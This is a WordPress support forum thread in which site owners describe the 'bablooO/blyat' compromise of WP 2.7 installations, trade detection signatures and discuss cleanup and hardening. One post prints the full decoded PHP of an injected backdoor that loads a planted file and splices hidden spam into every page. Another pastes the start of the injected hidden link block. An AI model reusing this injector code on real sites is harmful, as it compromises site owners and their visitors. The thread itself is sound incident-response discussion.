bablooO/blyat attacks on WP 2.7.0 and 2.7.1 (24 posts)

  1. anoncobard
    Posted 7 years ago #

    One of my sites suffered an attack in recent weeks which I can't find documented in the WordPress forums.

    The symptom is hidden spam content in posts with an HTML comment fingerprint like:

    <!-- bablooO-start -->

    Some people report the string "blyat" instead of "bablooO". The attack has been reported for both 2.7.0 and 2.7.1 installations of WordPress. So far I can't find anyone who reports this problem and has figured out how the intruder got in. The most extensive discussion I can find is at:


    Is this a known attack? Is there an official channel through which to report this kind of thing?


    [Sorry for the anonymous handle but I don't want to advertise an unclosed vulnerability on my site.]

  2. SterlingCamden
    Posted 7 years ago #

    One of my sites is experiencing this as well, but the spam content is being injected into the RSS2 feed instead. I've upgraded to 2.8 and it still seems to be happening (unless it's being cached somewhere). I have not seen any of this spam in the posts themselves.

  3. anoncobard
    Posted 7 years ago #

    Sterling, when you say "it still seems to be happening" do you mean that you're seeing new spam content added even after you upgraded to 2.8?

    I saw in your ckon comment that you have the spam in your posts as well as in your RSS feed, it's just that it's invisible unless you view source. That's one of the characteristics of this attack.

    As near as I can tell from the discussion on ckon, some people are finding the spam inserted in their theme files (particularly footer.php, and particularly people who have writable themes folders and use the theme editor) while others are seeing it inserted into blog posts in their database. It sounds like you're in the latter category.

    You can see the extent of the damage to your database by using the WP Export feature (built right into WP, under Tools) to save your content as an XML file. Then load the XML file into a text editor and see how many posts the spam content shows up in.

    Checking for damage to your themes or other WP files is trickier unless you're comfortable with command-line tools like grep. If you're not a command-line person you could still FTP your theme files down to your desktop and examine them in a text editor.

    Please let us know if you find anything that might be useful.

  4. SterlingCamden
    Posted 7 years ago #

    Correction: the content was in the posts in the database, but it was enclosed in a <p> element that was styled with height:0 and width:0, so I could only see it in the feed or with "view source".

    I changed my admin password and cleaned the affected posts.

    Please notify me if/when you get more info on how this might have happened.

  5. SterlingCamden
    Posted 7 years ago #

    Just saw your response.

    I'm not seeing any damage to theme files. It was only in the posts themselves. I suppose this has to be some sort of password security breach -- either they hacked into my admin password or they found a way to get around the password permissions.

  6. SterlingCamden
    Posted 7 years ago #

    I have not seen any new spam content since I upgraded to 2.8 and changed the admin password. No other users have privileges beyond "Subscriber".

  7. anoncobard
    Posted 7 years ago #

    I found one hole: a third-party theme wasn't validating its arguments. I've confirmed that it was vulnerable to cross-site scripting (XSS) by appending javascript to a URL. Background:


    I added a line of input validation to the theme and sent the patch to the theme developers. Hole closed.

    Now my burning question is whether that hole is the likely source of my intrusion or there are others. The symptoms we bablooO victims describe seem most consistent with an intruder being able to log into WordPress using the admin account. In practical terms is a javascript insertion in the URL really likely to result in interactive access to the WP Dashboard?

  8. coolgeee
    Posted 7 years ago #

    <? /**/eval(base64_decode... ?>

    I found this code added to many of my files. I am uninstalling many of the sites now and going to older backups.

    Almost all of my wordpress sites on the same server has been attacked with this.

  9. anoncobard
    Posted 7 years ago #

    Coolgeee, was this code in addition to the bablooO spam HTML or instead of it?

  10. coolgeee
    Posted 7 years ago #

    I am checking now.

    But I do notice that almost all my file have this code added to the beginning of the files, like index.php, etc

  11. coolgeee
    Posted 7 years ago #

    in the wp-app.php file here is the code: (it is in all the files!!!


  12. In practical terms is a javascript insertion in the URL really likely to result in interactive access to the WP Dashboard?

    It's possible. If they can get some javascript onto your page in a permanent fashion, then the next time you (the admin) visits the page, that script could send them your admin cookie, which would let them get into the site even though they lacked the password.

    With the admin cookie, they effectively become the admin for a short period (until it expires). The first step would likely be an automated script injection, where they use the plugin or theme editor to inject php code into some file, giving them backdoor access. From there, they could do anything they want until you find and remove that code.

    Mitigation: You can instantly invalidate all cookies to the site by changing the secret keys. See here for info on how to do that: http://wordpress.org/support/topic/170987

  13. But I do notice that almost all my file have this code added to the beginning of the files, like index.php, etc

    If that is the case, then it's probable that they got in via a different means. I have often seen this occur on shared webhosting services with poor security between different customers.

    In other words, if you're sharing a server with 50 other sites, and any one of those other sites gets hacked, then the attacker can run a script to automatically add his hack code to all the sites on that server, unless the server is well-secured (many are not). Usually these scripts look for anything ending in PHP, for example, and just add the code to them blindly.

  14. coolgeee
    Posted 7 years ago #


    I will update any findings shortly

  15. coolgeee
    Posted 7 years ago #

    this is what my php.ini looks like:
    register_globals = off
    allow_url_fopen = off

    expose_php = Off
    max_input_time = 60
    variables_order = "EGPCS"
    extension_dir = ./
    upload_tmp_dir = /tmp
    precision = 12
    SMTP = relay-hosting.secureserver.net
    url_rewriter.tags = "a=href,area=href,frame=src,input=src,form=,fieldset="


    does this look corrupt?

  16. coolgeee
    Posted 7 years ago #

    All these files aslos had added code to it.


    my wp-pass.php:
    * Creates the password cookie and redirects back to where the
    * visitor was before.
    * @package WordPress

    /** Make sure that the WordPress bootstrap has ran before continuing. */
    require( dirname(__FILE__) . '/wp-load.php');

    if ( get_magic_quotes_gpc() )
    $_POST['post_password'] = stripslashes($_POST['post_password']);

    // 10 days
    setcookie('wp-postpass_' . COOKIEHASH, $_POST['post_password'], time() + 864000, COOKIEPATH);


  17. coolgeee
    Posted 7 years ago #


    anyone else have this issue

    It totally infected every php file across 15 domains!

  18. Same server or different servers?

  19. coolgeee
    Posted 7 years ago #

    same server

    I uninstalled about 10 sites already.

    3 sites I really do not want to lose, so I am coping them to my harddrive and then I will manually delete all corrupt files.

    Any easier way?

  20. coolgeee
    Posted 7 years ago #

    I am still wondering how the hack happened?

  21. If it's the same server then it's easy: your server is not secure. There is not a lot WordPress can prevent if your server gets compromised.

    Backing up alone will not do it, you need to identify via your servers logs how the exploit got onto your blogs. If you just clean it up without closing the door, you will be back here again with the same problem.

    Read up on the link I posted to you in the other thread:


    Also read up on "Hardening WordPress" as well.

    Good luck.

  22. fennecfanatic
    Posted 7 years ago #

    The contents of that base64 block:
    if(function_exists('ob_start')&&!isset($GLOBALS['sh_no'])){$GLOBALS['sh_no']=1;if(file_exists('/home/content/g/l/o/globalbizworks/html/informedny/Themes/default/images/post/style.css.php')){include_once('/home/content/g/l/o/globalbizworks/html/informedny/Themes/default/images/post/style.css.php');if(function_exists('gml')&&!function_exists('dgobh')){if(!function_exists('gzdecode')){function gzdecode($R20FD65E9C7406034FADC682F06732868){$R6B6E98CDE8B33087A33E4D3A497BD86B=ord(substr($R20FD65E9C7406034FADC682F06732868,3,1));$R60169CD1C47B7A7A85AB44F884635E41=10;$R0D54236DA20594EC13FC81B209733931=0;if($R6B6E98CDE8B33087A33E4D3A497BD86B&4){$R0D54236DA20594EC13FC81B209733931=unpack('v',substr($R20FD65E9C7406034FADC682F06732868,10,2));$R0D54236DA20594EC13FC81B209733931=$R0D54236DA20594EC13FC81B209733931[1];$R60169CD1C47B7A7A85AB44F884635E41+=2+$R0D54236DA20594EC13FC81B209733931;}if($R6B6E98CDE8B33087A33E4D3A497BD86B&8){$R60169CD1C47B7A7A85AB44F884635E41=strpos($R20FD65E9C7406034FADC682F06732868,chr(0),$R60169CD1C47B7A7A85AB44F884635E41)+1;}if($R6B6E98CDE8B33087A33E4D3A497BD86B&16){$R60169CD1C47B7A7A85AB44F884635E41=strpos($R20FD65E9C7406034FADC682F06732868,chr(0),$R60169CD1C47B7A7A85AB44F884635E41)+1;}if($R6B6E98CDE8B33087A33E4D3A497BD86B&2){$R60169CD1C47B7A7A85AB44F884635E41+=2;}$RC4A5B5E310ED4C323E04D72AFAE39F53=gzinflate(substr($R20FD65E9C7406034FADC682F06732868,$R60169CD1C47B7A7A85AB44F884635E41));if($RC4A5B5E310ED4C323E04D72AFAE39F53===FALSE){$RC4A5B5E310ED4C323E04D72AFAE39F53=$R20FD65E9C7406034FADC682F06732868;}return $RC4A5B5E310ED4C323E04D72AFAE39F53;}}function dgobh($RDA3E61414E50AEE968132F03D265E0CF){Header('Content-Encoding: none');$R3E33E017CD76B9B7E6C7364FB91E2E90=gzdecode($RDA3E61414E50AEE968132F03D265E0CF);if(preg_match('/\<body/si',$R3E33E017CD76B9B7E6C7364FB91E2E90)){return preg_replace('/(\<body[^\>]*\>)/si','$1'.gml(),$R3E33E017CD76B9B7E6C7364FB91E2E90);}else{return gml().$R3E33E017CD76B9B7E6C7364FB91E2E90;}}ob_start('dgobh');}}}

  23. volleyballmaniac
    Posted 6 years ago #

    My site also got hacked hotguam.com (running on MU 2.7.1).

    That's what I get for being lazy. Fortunately I just did a full backup of all server files & DB, so I will be doing a full purge & replace & then upgrading.

  24. WP Jockey
    Posted 6 years ago #

    My WP 2.9.2 is getting hit by this regularly.
    Today I got a de-listing notice from Google because of it.
    Not happy.

    I removed the 321 lines of the following code from Footer.php below the QuantCast tag...

    <!-- bablooO-start --><style>div.VnvpcQAFEL {height: 0pt;width: 2pt;position: absolute;overflow: auto}</style><div class="VnvpcQAFEL"><a href="http://www.downtube.com/UCC/casino/index.html">australian online poker</a>
    <a href="http://www.downtube.com/UCC/casino/online-poker-leagues.html">online poker leagues</a>

    Obviously it goes on and on. I just wanted to include the "bablooO" and "VnvpcQAFEL" signatures in the hopes that we can stop these WP terrorists.

    Thank you for any help.

Topic Closed

This topic has been closed to new replies.

About this Topic